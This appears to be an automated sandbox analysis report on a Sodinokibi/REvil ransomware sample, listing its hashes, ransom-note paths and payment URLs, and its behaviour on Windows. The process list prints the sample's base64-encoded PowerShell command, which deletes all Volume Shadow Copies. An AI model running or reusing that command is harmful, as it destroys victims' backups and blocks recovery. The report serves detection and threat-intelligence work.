Analysis
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max time kernel
94s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
10/09/2024, 09:00
Static task
static1
Behavioral task
behavioral1
Sample
14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
Resource
win10v2004-20240802-en
General
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Target
14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
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Size
116KB
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MD5
b86ad4241b01376b3924a380f6f4c934
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SHA1
10682d08a18715a79ee23b58fdb6ee44c4e28c61
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SHA256
14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708
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SHA512
54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9
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SSDEEP
1536:aTZINbRh0SKws6KTUkmHlntMvfWhbpfCqeICS4AKvQIFlswOmZFS0cnwpIGmQwB:FRix3PWhNlOVFmw5q0cifmQ
Malware Config
Extracted
C:\Users\dyyen81mk-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C1B160F0C03882A6
http://decryptor.cc/C1B160F0C03882A6
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\Q: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\T: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\U: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\X: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\F: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\P: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\D: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\G: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\N: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\A: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\H: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\J: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\B: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\M: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\S: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\E: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\I: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\R: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\V: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\Y: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\K: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\L: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\O: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened (read-only) \??\Z: 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\i76czihg6.bmp" 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe -
Drops file in Program Files directory 34 IoCs
description ioc Process File opened for modification \??\c:\program files\SelectPop.ex_ 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\TraceGroup.vdx 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File created \??\c:\program files (x86)\dyyen81mk-readme.txt 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\ConvertToCheckpoint.3gp2 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\PopEnter.otf 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\LimitRestart.tif 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\PingRegister.emz 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\TestPush.reg 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\EditJoin.m4a 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\InvokeSave.vssx 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\DisconnectMeasure.ttc 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\InvokePing.avi 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\ResizeBlock.m4a 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\SelectRevoke.M2T 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\SwitchSuspend.ADTS 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File created \??\c:\program files\dyyen81mk-readme.txt 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\AddOpen.docx 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\WaitJoin.avi 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\AssertEdit.txt 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\LimitInstall.cr2 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\RegisterClear.css 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\SubmitFind.jpg 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\ImportRestore.m1v 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\InitializeSubmit.vsdx 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\ResolveRestore.mpeg2 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\UnblockRepair.mhtml 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\DisconnectUpdate.clr 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\GetSplit.vssx 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\ExpandUse.au 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\InitializeRestart.M2TS 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\LockShow.vsw 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\RemoveClose.inf 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\BlockEnable.ods 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe File opened for modification \??\c:\program files\ConvertRename.png 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4312 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe 4312 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe 5060 powershell.exe 5060 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 4312 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe Token: SeDebugPrivilege 5060 powershell.exe Token: SeBackupPrivilege 3848 vssvc.exe Token: SeRestorePrivilege 3848 vssvc.exe Token: SeAuditPrivilege 3848 vssvc.exe Token: SeTakeOwnershipPrivilege 4312 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4312 wrote to memory of 5060 4312 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe 91 PID 4312 wrote to memory of 5060 4312 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe 91 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe"C:\Users\Admin\AppData\Local\Temp\14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5060
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2228
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3848
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD54856181377eab6244e08fcf60012aaf5
SHA1985196c52ff72cd2e2d809e260daba0abfe2a3b1
SHA25659ecf6fdfd4f2c3c86910d1c5c477fb980f0bd21045c88a9c8f0ac75920e198f
SHA5122b3086d16c33891c9c1e287917710eb6c196aa3ff3816dc075033b6d1dfb2cb5697bf5277ab27bacd52771bee15c52d6ed5fe56b33d49a732d9dfca0470d3f9b